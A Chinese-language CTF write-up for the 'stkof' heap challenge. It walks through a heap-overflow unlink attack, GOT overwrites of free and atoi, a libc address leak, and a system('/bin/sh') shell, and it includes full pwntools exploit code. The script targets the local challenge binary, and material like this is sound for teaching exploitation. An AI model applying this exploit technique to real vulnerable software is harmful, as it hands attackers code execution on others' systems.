CTF-pwn 2014-stkof writeup

题目链接:Github
参考链接:传送门
堆的一些基础这里就不再介绍了,网上有很多,也可以加qq群一起讨论:946220807
准备开始正文

读懂题目

拿到题目,开启我们的IDA查看伪代码。运行程序并没有使用帮助,只能自己慢慢琢磨了。
CTF-pwn 2014-stkof writeup_第1张图片
可以看到输入不同的数字对应不同的函数(ida不同函数名可能也不同),共4个函数:

  1. fill() :这个函数用来向分配的空间填充数据。
  2. free_chunk():用来释放malloc分配的空间
  3. print():没什么卵用,本以为是打印用户的数据的,啥也不输出。
  4. alloc():这个函数用malloc分配空间供用户使用,并且把返回的指针放到全局数组global中。

函数具体实现方法点进去看看就清楚了。就不再多解释了。

思路

我们发现填充数据的时候并没有限制大小,导致我们可以填充某一个chunk而覆盖下一个chunk。堆unlink利用
CTF-pwn 2014-stkof writeup_第2张图片
步骤:

  1. 利用unlink exploit修改global[2]为&global[2]-0x18
  2. 利用fill()函数使global[0] 为 free@got 地址, global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
  3. 修改free@got为puts@plt地址,下次使用free时,会调用puts函数泄露函数地址。
  4. 得到puts的真实地址,算出libc基址,得到system和/bin/bash的真实地址。
  5. 修改atoi@got为system的地址,下次调用atoi时,输入/bin/sh即可。

还有一点注意,程序没有使用sevbuf函数,所以最好最初申请一个 chunk 来把这些缓冲区给申请了,方便之后操作,这里具体我也不太懂。

Exploit

我们先定义几个函数用来fill(),alloc()和free_chunk()。

from pwn import *

sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(size):#用来分配内存
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def fill(index,size,message):#用来填充数据
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(size))
    sh.send(message)
    sh.recvuntil('OK\n')

def free_chunk(index):#用来free(chunk)
    sh.sendline('3')
    sh.sendline(str(index))

我们找一下global的地址,地址为0x602140。
CTF-pwn 2014-stkof writeup_第3张图片

header=0x602140

然后我们来分配三个chunk

alloc(0x100)#chunk1,指针存在global[1]
alloc(0x30)#chunk2,指针存在global[2]
alloc(0x80)#chunk3,指针存在global[3]

构造payload填充chunk2,即构造一个fake_chunk。为了绕过unlink检查,并且覆盖chunk3的prev_size和size。unlink检查具体看这里:传送门

payload=p64(0)#
payload+=p64(0x31)
payload+=p64(header-0x8)
payload+=p64(header)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)
payload+=p64(0x90)

运行以下代码前,内存布局是这样的。

fill(2,len(payload),payload)

CTF-pwn 2014-stkof writeup_第4张图片
运行以下代码后,内存布局是这样的

fill(2,len(payload),payload)

CTF-pwn 2014-stkof writeup_第5张图片
运行以下代码之前,global是这样的。

free_chunk(3)

CTF-pwn 2014-stkof writeup_第6张图片
运行以下代码之后,检查chunk3的P位,P位是0,表示上一个chunk是空闲状态,所以会对chunk2进行unlink操作(fake_chunk->fd->bk=fake_chunk->bk和fake_chunk->bk->fd=fake_chunk->fd),global是这样的。

free_chunk(3)

CTF-pwn 2014-stkof writeup_第7张图片
得到free,puts,atoi的got地址。构造payload。

free_got=elf.got['free']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']

payload='a'*8
payload+=p64(free_got)
payload+=p64(puts_got)
payload+=p64(atoi_got)

执行下面代码前,global即上图。

fill(2,len(payload),payload)

执行下面代码后,给global[2]即chunk2填充数据。此时的chunk2已经被修改为0x602138。所以会从0x602138开始填充。

fill(2,len(payload),payload)

CTF-pwn 2014-stkof writeup_第8张图片
当执行以下代码,会向global[0]填充puts_plt,即向free_got所指的地址空间填充puts_plt。至此就修改了free_got为puts。即当下次调用free时。调用的是puts函数。

fill(0,len(p64(puts_plt)),p64(puts_plt))

当执行以下代码,会free(global[1]),此时free已被覆盖为puts。而global[1]是put_got。所以即puts(puts_got)。会泄露Puts函数的真实地址。

free_chunk(1)

得到Puts函数的真实地址,得到puts的偏移,算出libc基址libc_base。从而得到system和/bin/sh的真实地址。

puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_adr=u64(puts_adr)
libc_base=puts_adr-libc.symbols['puts']
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh').next()
print 'libc_base: '+hex(libc_base)
print 'puts_adr: '+hex(puts_adr)
print 'system_adr: '+hex(system_adr)
print 'binsh_adr: '+hex(binsh_adr)

执行以下代码后,会向global[2]写入数据,即覆盖atoi_got为system_addr。下次调用atoi函数就会调用system函数。

payload=p64(system_adr)
fill(2,len(payload),payload)

main函数就会调用atoi函数,并且参数nptr是我们可控的,我们直接发送/bin/sh的地址即可。
CTF-pwn 2014-stkof writeup_第9张图片

payload=p64(binsh_adr)
sh.sendline(payload)

开启交互模式。

sh.interactive()

最终的exp

from pwn import *

sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def fill(index,size,message):
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(size))
    sh.send(message)
    sh.recvuntil('OK\n')

def free_chunk(index):
    sh.sendline('3')
    sh.sendline(str(index))

header=0x602140

alloc(0x100)
alloc(0x30)
alloc(0x80)


payload=p64(0)
payload+=p64(0x31)
payload+=p64(header-0x8)
payload+=p64(header)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)
payload+=p64(0x90)

fill(2,len(payload),payload)
free_chunk(3)
sh.recvuntil('OK\n')

free_got=elf.got['free']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']

payload='a'*8
payload+=p64(free_got)
payload+=p64(puts_got)
payload+=p64(atoi_got)

fill(2,len(payload),payload)

fill(0,len(p64(puts_plt)),p64(puts_plt))
#free_got ->puts

free_chunk(1)
#puts(puts_got)

puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_adr=u64(puts_adr)
libc_base=puts_adr-libc.symbols['puts']
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh').next()
print 'libc_base: '+hex(libc_base)
print 'puts_adr: '+hex(puts_adr)
print 'system_adr: '+hex(system_adr)
print 'binsh_adr: '+hex(binsh_adr)

payload=p64(system_adr)
fill(2,len(payload),payload)
#atoi_got->system
payload=p64(binsh_adr)
sh.sendline(payload)
sh.interactive()

CTF-pwn 2014-stkof writeup_第10张图片
如有错误,感谢指出,谢谢!
转载请注明出处,谢谢!

你可能感兴趣的:(pwn)